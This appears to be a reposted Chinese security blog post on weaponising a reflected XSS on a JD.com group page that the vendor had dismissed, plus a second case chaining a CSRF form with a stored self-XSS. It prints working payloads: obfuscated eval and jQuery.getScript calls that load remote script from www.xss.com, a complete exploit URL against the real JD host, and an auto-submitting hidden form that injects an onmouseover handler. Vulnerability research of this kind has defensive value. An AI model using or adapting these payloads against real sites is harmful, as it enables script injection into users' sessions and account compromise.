京东驳回的一枚轻易paylod而不易exploit的xss的开发过程
朋友丢给了我一个反射xss让我来尝试getexploit,xss被京东以不能跨站,没有危害的理由忽略了该漏洞,好熟悉的理由。今年中的时候,丢了一个xss到京东,由于长度问题被拒绝了,不过还是解决了,话不多说,我们看一下这一处xss。
输入alert语句直接被执行了,看一下代码
window.siteId=1;
window.circleid=3;
window.threadId=alert(1);
牛刀小试,既然这么简单,直接输入语句。
eval('window.s=document.createElement(String.fromCharCode(115,99,114,105,112,116)); window.s.src=String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,120,115,115,46,99,111,109,47,120,115,115,99,111,100,101); document.body.appendChild(window.s)')
也就是说分号会截断语句,那么就是说,我们三句构成的exploit没办法利用了。
(这里可能有人会问,sideId和circleid加在一起不是正好三个么,但是这样的方案明显是不可行的,至于直接注入标签,也是不可行的,因为必须先结束script标签)
锋利的jQuery
想起之前在长度问题上击败长度问题,依靠的就是jQuery的getscript,而细心的你已经可以发现,网页中存在jquery1.9.1,那么就简单了 jQuery.getScript('http://www.xss.com/xsscode')
居然404了,原来是浏览器把跨站js的URL当成目录了(这里说明一下,浏览器遇到/可能因为伪静态等原因,直接当成目录了。),攻击者当然不可以异想天开的通过劫持数据来攻击,我们只能绕过,弃用这一方案。
更改exploit:jQuery.getScript(String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,120,115,115,46,99,111,109,47,120,115,115,99,111,100,101))
粗心的错误,我很纠结,没有道理啊,为什么这样还是不能执行,仔细检查了代码,原来是...致命错误。
那么就简单了,最后的exploit应该是:
http://m.group.jd.com/thread/1/window.onload=function(){jQuery.getScript(String.fromCharCode(104,116,116,112,58,47,47,119,119,119,46,120,115,115,46,99,111,109,47,120,115,115,99,111,100,101))}/3.htm
本文为转载,文章来源:http://xsseng.com/page/2/ 作者:xsseng
最近遇到一个存储型xss,存在与个人中心下收藏产品中,厂商认定为self-xss
后续想怎么继续利用下,发现添加收藏的地方存在csrf漏洞
思路如下:
通过csrf添加一个xss payload 在跳转页面到收藏页面触发xss漏洞
<form action='http://xxxx.com/User/FavSite/add' method="POST" target="id_iframe"> <input type="hidden" name="siteName" value="xss"> <input type="hidden" name="siteUrl" value='http://www.test" onmouseover=alert(1) "'> <input type="hidden" name="note" value="xss"> </form> <iframe id="id_iframe" name="id_iframe" style="display:none;"></iframe> <script type="text/javascript"> document.forms[0].submit(); location='http://xxxx.com/buyer/favorite_manage.html#site'; </script>
老哥,我换了新的域名,2kb.me这个怎么样
老铁 你这个域名还是不错的说。